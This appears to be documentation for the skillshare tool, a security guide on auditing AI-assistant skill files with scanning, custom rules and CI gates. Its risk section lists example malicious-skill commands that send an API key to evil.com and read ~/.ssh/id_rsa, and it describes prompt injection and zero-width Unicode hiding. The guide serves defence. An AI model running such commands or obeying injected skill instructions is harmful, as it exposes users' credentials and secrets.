Securing Your Skills
AI skills are powerful — they instruct AI assistants to read files, run commands, and interact with your system. This guide helps you build a security workflow around skill installation and maintenance.
For the full command reference, see audit.
The Risk: AI Skill Supply Chain
Unlike traditional packages that run in sandboxed runtimes, AI skills operate through natural language instructions that the AI interprets and executes directly. A compromised skill can instruct an AI to:
- Exfiltrate secrets (
curl https://evil.com?key=$API_KEY) - Read credentials (
cat ~/.ssh/id_rsa) - Override safety behavior via prompt injection
- Hide malicious intent with zero-width Unicode characters
A single malicious skill can access anything your AI assistant can — environment variables, SSH keys, cloud credentials, source code. Automated scanning catches known patterns, but human review remains essential.
For a detailed threat model and detection rules, see Why Security Scanning Matters.
Defense in Depth
No single layer catches everything. Combine manual review, automated scanning, custom policies, and CI/CD gates:
| Layer | Tool | What it does |
|---|---|---|
| Review | Manual | Read SKILL.md before installing — check for suspicious commands |
| Audit | skillshare audit | Automated pattern detection (100+ built-in rules, 5 severity levels, 6 analyzers) |
| Custom Rules | audit-rules.yaml | Organization-specific patterns (internal secrets, allowlists) |
| CI/CD | Pipeline gate | Block PRs that introduce risky skills |
Shared Source and Execution Boundaries
In merge mode, each managed target skill links to its source. In symlink mode, the whole source directory is linked. An edit to the shared file is visible to every target linked to it. This keeps instructions consistent, but also means an unwanted edit can affect several tools. Copy mode creates separate files; refreshing them with sync can distribute the same unwanted content.
Keep shared skill changes in reviewed Git commits, limit write access to their repositories, and re-audit after updates or unexpected local edits. Review the diff and use backups or Git history to recover when needed. A previous clean scan does not certify later edits or guarantee that every instruction is safe.
| Boundary | What it controls | What it does not control |
|---|---|---|
audit | Detects known patterns and blocks install/update at the configured finding severity | AI command execution or every semantic prompt-injection attack |
.skillignore and target filters | Select which skills are discovered or synced in merge/copy mode | File permissions, access to ~/.ssh or ~/.aws, or an AI tool's shell access |
| Git review and project lockfile | Review shared changes and reproduce recorded remote skill commits | Whether the recorded instructions are safe or how a model follows them |
| AI tool permissions and sandbox | Restrict file, shell and network access where the tool supports it | Skill catalog curation or source version management |
Set execution approvals and sandbox restrictions in each AI tool, which enforces runtime command permissions. A private hub controls catalog distribution through its host's access controls; selecting an internal catalog alone does not prevent users from installing other sources.
Audit blocking uses finding severity (HIGH, CRITICAL, etc.). The aggregate 0–100 risk score helps prioritize review and is reported separately; it is not the block threshold.
Supply-Chain Security Lifecycle
Security checkpoints depend on how a skill is installed (--track vs regular install):
Key design:
- Regular skill install/update — audit runs before acceptance; successful installs/updates write
file_hashesmetadata - Tracked repo install gate — fresh
--trackinstalls are audited across the whole cloned repository before acceptance - Tracked repo update gate —
skillshare updateaudits aftergit pull; findings at/above threshold trigger rollback automatically in non-interactive mode - Integrity verification scope —
content-*hash checks run only whenfile_hashesmetadata exists
Security Checklist
Before installing:
- Review the source repository (stars, contributors, recent activity)
- Read the SKILL.md — look for
curl,wget,eval, credential paths - Dry-run first:
skillshare install <source> --dry-run
After installing:
- Run
skillshare auditand review all findings - Check for HIGH/MEDIUM findings even if the skill "passed" (default threshold is CRITICAL)
- Re-audit periodically — new rules may catch previously undetected patterns
For teams:
- Set
audit.block_threshold: HIGHin config - Create custom rules for organization-specific secret patterns
- Add audit to your CI pipeline for shared skill repositories
- Schedule periodic scans (see Periodic Scanning below)
Organizational Policy
Block Threshold
The default threshold only blocks CRITICAL findings. For teams, a stricter threshold is recommended:
# ~/.config/skillshare/config.yaml
audit:
block_threshold: HIGH # Blocks HIGH and CRITICAL findings
This catches obfuscation, destructive commands, and hidden content injection — patterns that are almost always malicious in skill files.
Custom Rules
Add organization-specific detection patterns. Common use cases:
- Internal API key formats (
corp-api-key-*,internal-token-*) - Disallowed domains or services
- Suppressing false positives for trusted CI automation
# ~/.config/skillshare/audit-rules.yaml
rules:
- id: internal-token-leak
severity: HIGH
pattern: internal-token
message: "Internal API token pattern detected"
regex: '(?i)\b(corp-api-key|internal-token)-[A-Za-z0-9]{10,}\b'
- id: destructive-commands-2
severity: MEDIUM
pattern: destructive-commands
message: "Sudo usage (downgraded for CI automation)"
regex: '(?i)\bsudo\s+'
For the full custom rules reference (merge semantics, disabling rules, exclude patterns), see audit rules — Custom Rules.
Periodic Scanning
Rules evolve — a skill that was clean at install time may match new rules added later. Schedule periodic scans:
# crontab: scan all skills weekly, log results
0 9 * * 1 skillshare audit --json >> /var/log/skillshare-audit.json 2>&1
CI/CD Integration
Basic Pipeline Gate
# Fail the pipeline if any skill has HIGH+ findings
skillshare audit --threshold high
# Exit code: 0 = clean, 1 = findings found
Real-World Example: Skill Hub PR Validation
The skillshare-hub community repository uses skillshare audit to gate pull requests. Every PR that modifies skills is automatically scanned, and audit results are posted as a PR comment:
# .github/workflows/validate-pr.yml (simplified)
name: Validate PR
on:
pull_request:
paths: ['skills/**']
jobs:
audit:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- uses: runkids/setup-skillshare@v1
with:
source: ./skills
audit: true
audit-threshold: high
For the full workflow (including PR comment reporting and artifact upload), see the validate-pr.yml source.
For more CI/CD patterns (SARIF upload, strict profiles, manual setup), see the CI/CD Skill Validation recipe.
See Also
audit— CLI command referenceaudit rules— Rule management and customization- Audit Engine — How the engine works (threat model, risk scoring, tiering)
- Best Practices — Naming, organization, and security hygiene
- Project Setup — Project-scoped skill configuration